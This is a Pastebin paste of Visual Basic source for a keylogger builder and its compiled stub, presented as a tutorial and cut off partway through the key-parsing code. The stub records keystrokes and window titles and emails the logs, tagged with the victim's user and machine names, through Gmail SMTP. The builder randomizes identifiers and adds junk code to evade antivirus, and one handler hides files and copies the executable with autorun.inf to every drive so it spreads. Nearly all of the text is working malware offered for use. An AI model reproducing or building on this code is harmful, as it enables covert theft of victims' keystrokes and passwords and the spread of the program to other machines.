Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Form1.vb
- 'Coded & Commentated by Bazda_hackergod, if you delete this at least give credits!
- 'Seriously, this took me a good 3 hours to write from scratch, don't be a dick.
- 'No one thinks less of you if you just write 'Thanks to: Bazda_hacker'
- 'So before you delete this entire header, please for the love of God at LEAST say thank you on my Thread.
- 'Seriously lul.
- Imports System.IO, System.CodeDom.Compiler, System.Net.Mail
- Public Class Form1
- Dim Username, Password, Interval, Mutex, CreationPath, MainClassName, Source As String '[1] Declares some global variables we'll use later.
- Dim EmailMessage As New MailMessage() 'See above 1.
- Dim MailSendingClient As New SmtpClient() 'See above 1.
- Dim GlobalRand As New Random 'See above 1.
- Dim Q As Integer 'See above 1.
- Public Function RandomVariable(ByVal minamount As Integer, ByVal maxamount As Integer) As String
- Dim Rand As New Random 'Declares a new Random variable to generate the length of the string.
- Dim TheVariable As String = Nothing 'Declares a new String that will hold the random variable.
- Dim CharactersToUse As String = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKHJJGFDSAZXCVBNM" 'Declares a new string, and stores all the possible characters that may be a part of the randomly generated variable.
- For x As Integer = 1 To Rand.Next(minamount + 1, maxamount) 'Repeats the following function until the random number of variables is met.
- Dim PickAChar As Integer = Int((CharactersToUse.Length - 2) * Rnd()) + 1 'Selects a random inBazda_hacker position in PickAChar (random char in the listing)
- TheVariable += (CharactersToUse(PickAChar)) 'Takes whatever is already in TheVariable, then adds on the next random variable by reading what the random picked position was.
- Next 'After it's done looping through the #
- Return TheVariable 'Returns the randomized variable.
- End Function
- Function IsEverythingFilledOut()
- If TextBox1.Text = Nothing Or ComboBox1.Text = Nothing Or TextBox2.Text = Nothing Or TextBox3.Text = Nothing Or NumericUpDown1.Value <= 0 Then Return False 'Tells the program that some parts of the builder are not correctly filled out.
- Return True 'If everything is filled out, it'll just return true.
- End Function
- Sub SetVariablesFromControls()
- Username = TextBox1.Text & ComboBox1.Text 'Setting Variables.
- Password = TextBox2.Text 'Setting Variables.
- Mutex = TextBox3.Text 'Setting Variables.
- Interval = NumericUpDown1.Value * 60000 '1 minute = 60 seconds = 60,000 ms
- End Sub
- Sub GetSaveLocation()
- Dim FileSave As New SaveFileDialog 'Declares a save file dialog so the user can specify where to save the compiled file.
- With FileSave
- .InitialDirectory = Application.StartupPath 'Sets initial directory to the startup path of the application.
- .FileName = "*.exe" 'Filters so you can only save as a .exe, this can be modded to save as w/e file type you want.
- .DefaultExt = ".exe|*.exe" 'Sets default extension as .exe
- .Filter = "Executable Files .exe|*.exe" 'Filter.
- End With
- If FileSave.ShowDialog = Windows.Forms.DialogResult.OK Then
- CreationPath = FileSave.FileName 'Sets the path that the user selected to save their server to to the 'CreationPath' string.
- CompileServerLikeABoss(CreationPath) 'Does. The. Work. Rawr. Also sets the save location to the location selected in the SaveFileDialog.
- Else : Exit Sub 'If the user hits cancel/'X', we exit the sub.
- End If
- End Sub
- Sub TestSMTPInformation() Handles FakeMultiThreader.DoWork 'Sets this subroutine as what is called when FakeMultiThreader.RunWorkerASync is used.
- Try
- With EmailMessage
- .From = New MailAddress(Username) 'Sets the 'From' email as the one entered on your builder.
- .To.Add(Username) 'Sets the 'To' email as the same as the 'From' address.
- .Subject = "Account Info Valid!" 'Sets subject of the e-mail.
- .Body = "Continue with your spreading!" 'Sets body of the e-mail.
- End With
- With MailSendingClient
- .Host = "smtp.gmail.com" 'Sets the SMTP server to 'smtp.gmail.com' which is @gmail.com's SMTP server. You can Google smtp servers for any other @domains.
- .Port = 587 'Sets the mail sending port, don't change this; 587 is the most common outgoing smtp port. (Port 25 is 2nd most common, but becoming less and less).
- .EnableSsl = True 'Uses Secure Socket Layers to encrypt the operation.
- .Credentials = New System.Net.NetworkCredential(Username, Password) 'Sets the credentials of the 'From' by using the information in our builder, since the program needs to log in to the mail client in order to send the email.
- .Send(EmailMessage) 'Sends the nicely wrapped e-mail.
- End With
- MsgBox("Your SMTP information is valid, a confirmation E-mail has been sent!", 0 + 64, "Notice") 'Makes us feel good.
- Catch Fail As Exception
- MsgBox("Your information is NOT valid; below is a copy of the error that occured." & vbNewLine & vbNewLine & Fail.ToString, 0 + 16, "Error") 'Tells us there was a problem, then gives the un-edited error that was encountered.
- Exit Sub
- End Try
- End Sub
- Sub CompileServerLikeABoss(ByVal SaveLocation As String)
- Q = 1
- MainClassName = RandomVariable(5, 20) 'Sets the MainClassName to a random variable between 5 and 20 chars in length.
- Source = My.Resources.TheSourceCode 'Sets the Source string to the un-edited version of the source code so we can replace our 'holders' with random strings.
- Source = Source.Replace("&1&", MainClassName) 'Replaces the placeholder '&1&' with the string we randomized above.
- Dim Version = New Collections.Generic.Dictionary(Of String, String) : Version.Add("CompilerVersion", "v2.0") 'Sets a setting to compile the server w/ .net 2.0 dependency.
- Dim Compiler As VBCodeProvider = New VBCodeProvider(Version) 'Declaring our compiler, and telling it to compile with 'Version' setting. (.net 2.0 dependency)
- Dim Settings As New CompilerParameters() 'To store the settings of our compiler in.
- With Settings 'Setting some Settings for the compiler.
- .GenerateExecutable = True 'We don't want to generate shit in our memory.
- .OutputAssembly = SaveLocation 'Sets the location of the output to the place you selected in your SaveFileDialog.
- .CompilerOptions = "/target:winexe" 'Tells the compiler to compile the code as a winexe file.
- .ReferencedAssemblies.Add("System.dll") 'Imports the System.dll library to the application on compile.
- .ReferencedAssemblies.Add("System.Windows.Forms.dll") 'Imports the System.Windows.Forms.dll library to the application on compile. (allows for controls to be declared in the codedom, such as timers)
- .MainClass = MainClassName 'Sets the mainclass of the compiled server to the string we randomized above. (Needs to remain the same).
- End With
- Do While Q <= 40 'We take the integer Q, then use it to loop through all of our place holders that have [] around them.
- Source = Source.Replace("[" & Q & "]", RandomVariable(5, 30)) 'Replace each variable with a randomly generated string value from 5-30 characters.
- Q += 1 'Adds 1 on to Q so that next time it loops it does the next [] holder in the sequence.
- Loop
- Q = 1 'Reset for next sequence.
- Do While Q <= 28 'Same as above, only with &&.
- Source = Source.Replace("&" & Q & "&", RandomVariable(5, 30)) 'Same as above, only with &&. This is the randomized keyhook class.
- Q += 1 'Same as above, only with &&.
- Loop
- Q = 1 'Reset for next sequence.
- Do While Q <= 46 'Same as above, only with ^^.
- Source = Source.Replace("^" & Q & "^", RandomVariable(5, 30)) 'Same as above, only with ^^. This is actually randomized junk module to bypass McAfee.
- Q += 1 'Same as above, only with ^^.
- Loop
- Source = Source.Replace("*email*", Username) 'Replacing the specific holder for our email with the email we're using.
- Source = Source.Replace("*pass*", Password) 'Same as above w/ password.
- Source = Source.Replace("*mutex*", Mutex) 'Same as above w/ mutex.
- Source = Source.Replace("*interval*", Interval) 'Same as above w/ sending interval.
- Dim AssemblyInfo As String() = {"#res1#", "#res2#", "#res3#", "#res4#", "#res1a#", "#res2a#", "#res3a#", "#res4a#"} 'Declare a string array for randomizing our assembly file version/product version, since we only want numbers in them.
- For length As Integer = 0 To AssemblyInfo.Length - 1 'While the length of the array is in the bounds of the inBazda_hacker, do the following:
- Source = Source.Replace(AssemblyInfo(length), GlobalRand.Next(0, 999)) 'Replace the given spot in the array I.E. If we're on spot 1, that'd be #res1#, with a randomly generated number from 0-999.
- Next
- DebugCode(Source) 'Writes a copy of the un-compiled source code (after randomization) of your server to \debug.txt.
- Compiler.CompileAssemblyFromSource(Settings, Source) 'Compiles the code with all the settings stored in the "Settings" string from above.
- MsgBox("Your server has been compiled succesfully!", 0 + 64, "Notice") 'Give yourself a pat on the back, it worked :D!
- End Sub
- Sub DebugCode(ByVal CodeBeingCompile As String)
- Dim Debugger As New StreamWriter(Application.StartupPath & "\debug.txt") 'Declares a new StreamWriter at the location of '\debug.txt'.
- Debugger.Write(CodeBeingCompile) 'Writes the given string to the .txt file, in our case this should be the randomized code.
- Debugger.Flush() 'Dispose of the used stuff.
- Debugger.Close() 'Close da b00k.
- End Sub
- Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
- TextBox3.Text = RandomVariable(5, 20) 'Generates a random variable between 5 and 20 characters in length.
- End Sub
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- TextBox3.Text = RandomVariable(5, 20) 'Fills the mutex box with a random number on form load.
- End Sub
- Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
- If IsEverythingFilledOut() = True Then SetVariablesFromControls() Else MsgBox("Please make sure you've filled out all parts of the builder.", 0 + 16, "Error") : Exit Sub 'Calls SetVariablesFromControls sub routine if everything is filled out, if not it throws and error and exits this sub routine.
- FakeMultiThreader.CancelAsync() 'Cancels any pending operations on the thread.
- Application.DoEvents() 'Makes sure they're canceled.
- FakeMultiThreader.RunWorkerAsync() 'Runs the commands under its handler, FakeMultiThread_DoWork.
- 'The reason for using a backgroundworker / multi threading is so that the form/gui doens't lag when you do stuff like compile/SMTP test, since it's all run on a different thread.
- End Sub
- Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
- If IsEverythingFilledOut() = True Then SetVariablesFromControls() : GetSaveLocation() Else MsgBox("Please make sure you've filled out all parts of the builder.", 0 + 16, "Error") : Exit Sub
- 'Calls SetVariablesFromControls function, makes sure all the information is filled out.
- 'If it is, it moves on to GetSaveLocation => Leads to the actual server compile.
- 'If it's not, it throws an error and exits the sub routine.
- End Sub
- Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
- On Error Resume Next
- My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", "0", Microsoft.Win32.RegistryValueKind.DWord)
- Dim sDrive As String, sDrives() As String, xDrive As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles
- sDrives = System.IO.Directory.GetLogicalDrives
- For Each sDrive In sDrives
- If xDrive.Contains(sDrive) Then
- Else
- My.Computer.FileSystem.CopyFile(Application.ExecutablePath, sDrive & "HDDFile.com", True, FileIO.UICancelOption.DoNothing)
- My.Computer.FileSystem.WriteAllText(sDrive & "autorun.inf", "[autorun]" & vbCrLf & "open=" & sDrive & "HDDFile.com" & vbCrLf & "shellexecute=" & sDrive, True)
- SetAttr(sDrive & "HDDFile.com", FileAttribute.Hidden)
- SetAttr(sDrive & "autorun.inf", FileAttribute.Hidden)
- End If
- Next
- End Sub
- Private Sub TestSMTPInformation(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles FakeMultiThreader.DoWork
- End Sub
- End Class
- -----------------
- sourcecode.txt
- Imports Microsoft.VisualBasic, System, System.Windows.Forms, System.Net.Mail, System.Text, System.Security.Cryptography, System.Reflection, System.IO, System.Environment, Microsoft.Win32, System.Diagnostics, System.ComponentModel, System.Threading 'It's codedom, we get to import a LOT :P.
- <Assembly: AssemblyTitle("")> 'Leave this blank, as it's visible in explorer.exe
- <Assembly: AssemblyDescription("")> 'Leave this blank, as it's visible in explorer.exe
- <Assembly: AssemblyCompany("[5]")> 'We're setting our Assembly information to random strings here to make the server ever-more polymorphic.
- <Assembly: AssemblyProduct("[6]")> 'Randomizing..
- <Assembly: AssemblyCopyright("[7]")> 'Randomizing..
- <Assembly: AssemblyTrademark("[8]")> 'Randomizing..
- <Assembly: AssemblyVersion("#res1#.#res2#.#res3#.#res4#")>
- <Assembly: AssemblyFileVersion("#res1a#.#res2a#.#res3a#.#res4a#")>
- Module &1& 'Our main module, this is the 'meat' of the program.
- Friend WithEvents [24] As New &2& 'Declare a new Keyhook.
- Private Declare Function [19] Lib "user32.dll" Alias "GetForegroundWindow" () As Int32 'API Calls.
- Private Declare Function [20] Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32 'API Calls.
- Dim [1] As String = "*email*" 'We set the variable [1] to the e-mail we entered on the builder by marking it with the * tags we can refer to back in the builder.
- Dim [2] As String = "*pass*" 'Same as above only w/ password.
- Dim [3] As String = "*mutex*" 'Same as above only w/ mutex.
- Dim [4] As Integer = "*interval*" 'Same as above only w/ log interval.
- Dim [15] As String = Nothing 'The string that holds logged keys/windows until they're sent in a log.
- Dim [16] As String = Nothing 'The string that is used to compare itself to the current active window to see if it's changed.
- Dim [21] as Mutex 'Used to keep task instance of keylogger unique.
- Sub Main() 'This is like Form1_Load.
- [22]([3]) 'Checks to see if an application with the same mutex is already running, if there is, this instance of the program will end.
- Dim [9] As New System.Windows.Forms.Timer 'Declaring a timer that will be used to send logs.
- [9].Interval = [4] 'Set the timers interval to the interval we defined in our builder.
- AddHandler [9].Tick, AddressOf [10] 'Sets the .Tick event of the timer to be handled by Sub [10].
- Dim [11] As New System.Windows.Forms.Timer 'Same idea as above, only this will be used to constantly refresh the current activewindow we're in.
- [11].Interval = 300 'No one changes their window faster than every 0.3 seconds lol.
- AddHandler [11].Tick, AddressOf [12] 'Sets the .Tick event of the timer to be handled by Sub [12].
- [11].Start() 'Starts the activewindow refresher.
- [9].Start() 'Starts the log sending timer.
- Application.Run() 'Since we don't have a form or console, after the application does the above commands it would normally just close itself, but here we are telling it explicitly to stay open and continue running.
- End Sub
- Sub [10](ByVal sender As System.Object, ByVal e As System.EventArgs) 'This is the log sender, if you don't understand a part of it please refer to the builder's commented SMTP test, it's remarkablely similar.
- On Error Resume Next
- Dim [13] As New MailMessage()
- Dim [14] As New SmtpClient("smtp.gmail.com")
- [13].From = New MailAddress([1])
- [13].To.Add([1])
- [13].Subject = "Keylogger Log From: " & Environment.UserName.ToString & "/" & Environment.MachineName.ToString
- [13].Body = "Based off of the polymorphic keylogger tutorial written by Bazda_hackergod." & vbnewline & vbnewline & [15]
- [14].Port = 587
- [14].EnableSsl = True
- [14].Credentials = New System.Net.NetworkCredential([1], [2])
- [14].Send([13])
- [15] = "|-----" & [16] & " (" & Now.ToLongTimeString & ") -----|" + vbNewLine 'After sending the logged keys, we reset the string that held them to equal the current active window that the slave is in.
- End Sub
- Sub [12](ByVal sender As System.Object, ByVal e As System.EventArgs) 'GetActiveWindow Function.
- If [16] <> [17]() Then 'When the application first runs, [16]'s value is equal to the current active window. Every 0.3 seconds, the application checks to see if [16] is still equal to the current active window; if it is, it does nothing. If it's no longer the same, it updates [16] to be the current active window, and adds the new entry to the log.
- [16] = [17]() 'Settings activewindow storage to the real active window.
- If [16] <> "" Then
- [15] += vbNewLine + vbNewLine + "|-----" & [16] & " (" & Now.ToLongTimeString & ") -----|" + vbNewLine 'Adding the newly discovered active window to the keylog.
- End If
- End If
- End Sub
- Private Function [17]() As String
- Dim [18] As String
- [18] = New String(Chr(0), 100)
- [20]([19], [18], 100)
- [18] = [18].Substring(0, InStr([18], Chr(0)) - 1)
- Return [18]
- End Function
- Sub [22](ByVal [23] As String) 'This is the mutex sub routine.
- Try 'So we're trying to do the following...
- System.Threading.Mutex.OpenExisting([23]) 'Open the process that holds our mutex in it.
- End 'If it can actually open a process that has our mutex, we end the program. Otherwise...
- Catch fail As Exception 'If it can't find any process with our mutex...
- [21] = New System.Threading.Mutex(False, [23]) 'We declare our mutex for the current process...
- Exit Sub 'And keep on going!
- End Try
- End Sub
- Sub [18](ByVal [25] As System.Windows.Forms.Keys) Handles [24].&24& 'Keydown 'This is my (Bazda_hackergod's) personal key parser, it was private until today, and I must say I've worked very hard on it to make it produce the cleanest logs imaginable.
- If My.Computer.Keyboard.CtrlKeyDown = True And [25] = Keys.C Then
- [15] = [15] & " [Copy] " 'If they're doing ctrl+c, tell us they're copying.
- Exit Sub
- End If
- If My.Computer.Keyboard.CtrlKeyDown = True And [25] = Keys.V Then
- [15] = [15] & " [Paste] " 'If they're doing ctrl+v, tell us they're pasting.
- Exit Sub
- End If
- If My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = False Then 'It's pretty self explanatory, doesn't need a big explanation.
- If [25] = Keys.A Then
- [15] += "a"
- ElseIf [25] = Keys.B Then
- [15] += "b"
- ElseIf [25] = Keys.C Then
- [15] += "c"
- ElseIf [25] = Keys.D Then
- [15] += "d"
- ElseIf [25] = Keys.E Then
- [15] += "e"
- ElseIf [25] = Keys.F Then
- [15] += "f"
- ElseIf [25] = Keys.G Then
- [15] += "g"
- ElseIf [25] = Keys.H Then
- [15] += "h"
- ElseIf [25] = Keys.I Then
- [15] += "i"
- ElseIf [25] = Keys.J Then
- [15] += "j"
- ElseIf [25] = Keys.K Then
- [15] += "k"
- ElseIf [25] = Keys.L Then
- [15] += "l"
- ElseIf [25] = Keys.M Then
- [15] += "m"
- ElseIf [25] = Keys.N Then
- [15] += "n"
- ElseIf [25] = Keys.O Then
- [15] += "o"
- ElseIf [25] = Keys.P Then
- [15] += "p"
- ElseIf [25] = Keys.Q Then
- [15] += "q"
- ElseIf [25] = Keys.R Then
- [15] += "r"
- ElseIf [25] = Keys.S Then
- [15] += "s"
- ElseIf [25] = Keys.T Then
- [15] += "t"
- ElseIf [25] = Keys.U Then
- [15] += "u"
- ElseIf [25] = Keys.V Then
- [15] += "v"
- ElseIf [25] = Keys.W Then
- [15] += "w"
- ElseIf [25] = Keys.X Then
- [15] += "x"
- ElseIf [25] = Keys.Y Then
- [15] += "y"
- ElseIf [25] = Keys.Z Then
- [15] += "[111]"
- ElseIf [25] = Keys.D0 Then
- [15] += "0"
- ElseIf [25] = Keys.D1 Then
- [15] += "1"
- ElseIf [25] = Keys.D2 Then
- [15] += "2"
- ElseIf [25] = Keys.D3 Then
- [15] += "3"
- ElseIf [25] = Keys.D4 Then
- [15] += "4"
- ElseIf [25] = Keys.D5 Then
- [15] += "5"
- ElseIf [25] = Keys.D6 Then
- [15] += "6"
- ElseIf [25] = Keys.D7 Then
- [15] += "7"
- ElseIf [25] = Keys.D8 Then
- [15] += "8"
- ElseIf [25] = Keys.D9 Then
- [15] += "9"
- ElseIf [25] = Keys.NumPad0 Then
- [15] += "0"
- ElseIf [25] = Keys.NumPad1 Then
- [15] += "1"
- ElseIf [25] = Keys.NumPad2 Then
- [15] += "2"
- ElseIf [25] = Keys.NumPad3 Then
- [15] += "3"
- ElseIf [25] = Keys.NumPad4 Then
- [15] += "4"
- ElseIf [25] = Keys.NumPad5 Then
- [15] += "5"
- ElseIf [25] = Keys.NumPad6 Then
- [15] += "6"
- ElseIf [25] = Keys.NumPad7 Then
- [15] += "7"
- ElseIf [25] = Keys.NumPad8 Then
- [15] += "8"
- ElseIf [25] = Keys.NumPad9 Then
- [15] += "9"
- ElseIf [25] = Keys.Oemcomma Then
- [15] += ","
- ElseIf [25] = Keys.OemMinus Then
- [15] += "-"
- ElseIf [25] = Keys.OemQuotes Then
- [15] += "'"
- ElseIf [25] = Keys.OemOpenBrackets Then
- [15] += "["
- ElseIf [25] = Keys.OemCloseBrackets Then
- [15] += "]"
- ElseIf [25] = Keys.OemQuestion Then
- [15] += "/"
- ElseIf [25] = Keys.OemPipe Then
- [15] += "\"
- ElseIf [25] = Keys.Oem1 Then
- [15] += ";"
- ElseIf [25] = Keys.OemPeriod Then
- [15] += "."
- ElseIf [25] = Keys.Oemtilde Then
- [15] += "`"
- ElseIf [25] = Keys.Space Then
- [15] += " "
- ElseIf [25] = Keys.Enter Then
- [15] += vbNewLine
- ElseIf [25] = Keys.F1 Then
- [15] += "[F1]"
- ElseIf [25] = Keys.F2 Then
- [15] += "[F2]"
- ElseIf [25] = Keys.F3 Then
- [15] += "[F3]"
- ElseIf [25] = Keys.F4 Then
- [15] += "[F4]"
- ElseIf [25] = Keys.F5 Then
- [15] += "[F5]"
- ElseIf [25] = Keys.F6 Then
- [15] += "[F6]"
- ElseIf [25] = Keys.F7 Then
- [15] += "[F7]"
- ElseIf [25] = Keys.F8 Then
- [15] += "[F8]"
- ElseIf [25] = Keys.F9 Then
- [15] += "[F9]"
- ElseIf [25] = Keys.F10 Then
- [15] += "[F10]"
- ElseIf [25] = Keys.F11 Then
- [15] += "[F11]"
- ElseIf [25] = Keys.F12 Then
- [15] += "[F12]"
- ElseIf [25] = Keys.Delete Then
- If Not [15].EndsWith(vbNewLine) Then
- If Not [15].EndsWith("|") Then
- If Not [15].EndsWith("]") Then
- [15] = [15].Substring(0, [15].Length - 1)
- End If
- End If
- End If
- ElseIf [25] = Keys.Back Then
- If Not [15].EndsWith(vbNewLine) Then
- If Not [15].EndsWith("|") Then
- If Not [15].EndsWith("]") Then
- [15] = [15].Substring(0, [15].Length - 1)
- End If
- End If
- End If
- ElseIf [25] = Keys.Down Then
- [15] += ""
- ElseIf [25] = Keys.Up Then
- [15] += ""
- ElseIf [25] = Keys.Left Then
- [15] += ""
- ElseIf [25] = Keys.Right Then
- [15] += ""
- ElseIf [25] = Keys.Tab Then
- [15] += "[TAB]"
- ElseIf [25] = Keys.End Then
- [15] += "[END]"
- ElseIf [25] = Keys.Escape Then
- [15] += "[ESC]"
- ElseIf [25] = Keys.Divide Then
- [15] += "/"
- ElseIf [25] = Keys.Decimal Then
- [15] += "."
- ElseIf [25] = Keys.Subtract Then
- [15] += "-"
- ElseIf [25] = Keys.Add Then
- [15] += "+"
- ElseIf [25] = Keys.Multiply Then
- [15] += "*"
- ElseIf [25] = Keys.ControlKey Then
- [15] += "[CTRL]"
- ElseIf [25] = Keys.Alt Then
- [15] += "[ALT]"
- ElseIf [25] = Keys.PageUp Then
- [15] += "[Page Up]"
- ElseIf [25] = Keys.PageDown Then
- [15] += "[Page Down]"
- ElseIf [25] = Keys.Home Then
- [15] += "[Home]"
- ElseIf [25] = Keys.Insert Then
- [15] += "[Insert]"
- ElseIf [25] = Keys.End Then
- [15] += "[End]"
- ElseIf [25] = Keys.Escape Then
- [15] += "[Esc]"
- ElseIf [25] = Keys.PrintScreen Then
- [15] += "[Prt Screen]"
- End If
- ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then
- If [25] = Keys.A Then
- [15] += "A"
- ElseIf [25] = Keys.B Then
- [15] += "B"
- ElseIf [25] = Keys.C Then
- [15] += "C"
- ElseIf [25] = Keys.D Then
- [15] += "D"
- ElseIf [25] = Keys.E Then
- [15] += "E"
- ElseIf [25] = Keys.F Then
- [15] += "F"
- ElseIf [25] = Keys.G Then
- [15] += "G"
- ElseIf [25] = Keys.H Then
- [15] += "H"
- ElseIf [25] = Keys.I Then
- [15] += "I"
- ElseIf [25] = Keys.J Then
- [15] += "J"
- ElseIf [25] = Keys.K Then
- [15] += "K"
- ElseIf [25] = Keys.L Then
- [15] += "L"
- ElseIf [25] = Keys.M Then
- [15] += "M"
- ElseIf [25] = Keys.N Then
- [15] += "N"
- ElseIf [25] = Keys.O Then
- [15] += "O"
- ElseIf [25] = Keys.P Then
- [15] += "P"
- ElseIf [25] = Keys.Q Then
- [15] += "Q"
- ElseIf [25] = Keys.R Then
- [15] += "R"
- ElseIf [25] = Keys.S Then
- [15] += "S"
- ElseIf [25] = Keys.T Then
- [15] += "T"
- ElseIf [25] = Keys.U Then
- [15] += "U"
- ElseIf [25] = Keys.V Then
- [15] += "V"
- ElseIf [25] = Keys.W Then
- [15] += "W"
- ElseIf [25] = Keys.X Then
- [15] += "X"
- ElseIf [25] = Keys.Y Then
- [15] += "Y"
- ElseIf [25] = Keys.Z Then
- [15] += "Z"
- ElseIf [25] = Keys.D0 Then
- [15] += "0"
- ElseIf [25] = Keys.D1 Then
- [15] += "1"
- ElseIf [25] = Keys.D2 Then
- [15] += "2"
- ElseIf [25] = Keys.D3 Then
- [15] += "3"
- ElseIf [25] = Keys.D4 Then
- [15] += "4"
- ElseIf [25] = Keys.D5 Then
- [15] += "5"
- ElseIf [25] = Keys.D6 Then
- [15] += "6"
- ElseIf [25] = Keys.D7 Then
- [15] += "7"
- ElseIf [25] = Keys.D8 Then
- [15] += "8"
- ElseIf [25] = Keys.D9 Then
- [15] += "9"
- ElseIf [25] = Keys.NumPad0 Then
- [15] += "0"
- ElseIf [25] = Keys.NumPad1 Then
- [15] += "1"
- ElseIf [25] = Keys.NumPad2 Then
- [15] += "2"
- ElseIf [25] = Keys.NumPad3 Then
- [15] += "3"
- ElseIf [25] = Keys.NumPad4 Then
- [15] += "4"
- ElseIf [25] = Keys.NumPad5 Then
- [15] += "5"
- ElseIf [25] = Keys.NumPad6 Then
- [15] += "6"
- ElseIf [25] = Keys.NumPad7 Then
- [15] += "7"
- ElseIf [25] = Keys.NumPad8 Then
- [15] += "8"
- ElseIf [25] = Keys.NumPad9 Then
- [15] += "9"
- ElseIf [25] = Keys.Oemcomma Then
- [15] += ","
- ElseIf [25] = Keys.OemMinus Then
- [15] += "-"
- ElseIf [25] = Keys.OemQuotes Then
- [15] += "'"
- ElseIf [25] = Keys.OemOpenBrackets Then
- [15] += "["
- ElseIf [25] = Keys.OemCloseBrackets Then
- [15] += "]"
- ElseIf [25] = Keys.OemQuestion Then
- [15] += "/"
- ElseIf [25] = Keys.OemPipe Then
- [15] += "\"
- ElseIf [25] = Keys.Oem1 Then
- [15] += ";"
- ElseIf [25] = Keys.OemPeriod Then
- [15] += "."
- ElseIf [25] = Keys.Oemtilde Then
- [15] += "`"
- ElseIf [25] = Keys.Space Then
- [15] += " "
- ElseIf [25] = Keys.Enter Then
- [15] += vbNewLine
- ElseIf [25] = Keys.F1 Then
- [15] += "[F1]"
- ElseIf [25] = Keys.F2 Then
- [15] += "[F2]"
- ElseIf [25] = Keys.F3 Then
- [15] += "[F3]"
- ElseIf [25] = Keys.F4 Then
- [15] += "[F4]"
- ElseIf [25] = Keys.F5 Then
- [15] += "[F5]"
- ElseIf [25] = Keys.F6 Then
- [15] += "[F6]"
- ElseIf [25] = Keys.F7 Then
- [15] += "[F7]"
- ElseIf [25] = Keys.F8 Then
- [15] += "[F8]"
- ElseIf [25] = Keys.F9 Then
- [15] += "[F9]"
- ElseIf [25] = Keys.F10 Then
- [15] += "[F10]"
- ElseIf [25] = Keys.F11 Then
- [15] += "[F11]"
- ElseIf [25] = Keys.F12 Then
- [15] += "[F12]"
- ElseIf [25] = Keys.Delete Then
- If Not [15].EndsWith(vbNewLine) Then
- If Not [15].EndsWith("|") Then
- If Not [15].EndsWith("]") Then
- [15] = [15].Substring(0, [15].Length - 1)
- End If
- End If
- End If
- ElseIf [25] = Keys.Back Then
- If Not [15].EndsWith(vbNewLine) Then
- If Not [15].EndsWith("|") Then
- If Not [15].EndsWith("]") Then
- [15] = [15].Substring(0, [15].Length - 1)
- End If
- End If
- End If
- ElseIf [25] = Keys.Down Then
- [15] += ""
- ElseIf [25] = Keys.Up Then
- [15] += ""
- ElseIf [25] = Keys.Left Then
- [15] += ""
- ElseIf [25] = Keys.Right Then
- [15] += ""
- ElseIf [25] = Keys.Tab Then
- [15] += "[TAB]"
- ElseIf [25] = Keys.End Then
- [15] += "[END]"
- ElseIf [25] = Keys.Escape Then
- [15] += "[ESC]"
- ElseIf [25] = Keys.Divide Then
- [15] += "/"
- ElseIf [25] = Keys.Decimal Then
- [15] += "."
- ElseIf [25] = Keys.Subtract Then
- [15] += "-"
- ElseIf [25] = Keys.Add Then
- [15] += "+"
- ElseIf [25] = Keys.Multiply Then
- [15] += "*"
- ElseIf [25] = Keys.ControlKey Then
- [15] += "[CTRL]"
- ElseIf [25] = Keys.Alt Then
- [15] += "[ALT]"
- ElseIf [25] = Keys.PageUp Then
- [15] += "[Page Up]"
- ElseIf [25] = Keys.PageDown Then
- [15] += "[Page Down]"
- ElseIf [25] = Keys.Home Then
- [15] += "[Home]"
- ElseIf [25] = Keys.Insert Then
- [15] += "[Insert]"
- ElseIf [25] = Keys.End Then
- [15] += "[End]"
- ElseIf [25] = Keys.Escape Then
- [15] += "[Esc]"
- ElseIf [25] = Keys.PrintScreen Then
- [15] += "[Prt Screen]"
- End If
- ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = True Then
- If [25] = Keys.D1 Then
- [15] += "!"
- ElseIf [25] = Keys.D2 Then
- [15] += "@"
- ElseIf [25] = Keys.D3 Then
- [15] += "#"
- ElseIf [25] = Keys.D4 Then
- [15] += "$"
- ElseIf [25] = Keys.D5 Then
- [15] += "%"
- ElseIf [25] = Keys.D6 Then
- [15] += "^"
- ElseIf [25] = Keys.D7 Then
- [15] += "&"
- ElseIf [25] = Keys.D8 Then
- [15] += "*"
- ElseIf [25] = Keys.D9 Then
- [15] += "("
- ElseIf [25] = Keys.D0 Then
- [15] += ")"
- ElseIf [25] = Keys.A Then
- [15] += "A"
- ElseIf [25] = Keys.B Then
- [15] += "B"
- ElseIf [25] = Keys.C Then
- [15] += "C"
- ElseIf [25] = Keys.D Then
- [15] += "D"
- ElseIf [25] = Keys.E Then
- [15] += "E"
- ElseIf [25] = Keys.F Then
- [15] += "F"
- ElseIf [25] = Keys.G Then
- [15] += "G"
- ElseIf [25] = Keys.H Then
- [15] += "H"
- ElseIf [25] = Keys.I Then
- [15] += "I"
- ElseIf [25] = Keys.J Then
- [15] += "J"
- ElseIf [25] = Keys.K Then
- [15] += "K"
- ElseIf [25] = Keys.L Then
- [15] += "L"
- ElseIf [25] = Keys.M Then
- [15] += "M"
- ElseIf [25] = Keys.N Then
- [15] += "N"
- ElseIf [25] = Keys.O Then
- [15] += "O"
- ElseIf [25] = Keys.P Then
- [15] += "P"
- ElseIf [25] = Keys.Q Then
- [15] += "Q"
- ElseIf [25] = Keys.R Then
- [15] += "R"
- ElseIf [25] = Keys.S Then
- [15] += "S"
- ElseIf [25] = Keys.T Then
- [15] += "T"
- ElseIf [25] = Keys.U Then
- [15] += "U"
- ElseIf [25] = Keys.V Then
- [15] += "V"
- ElseIf [25] = Keys.W Then
- [15] += "W"
- ElseIf [25] = Keys.X Then
- [15] += "X"
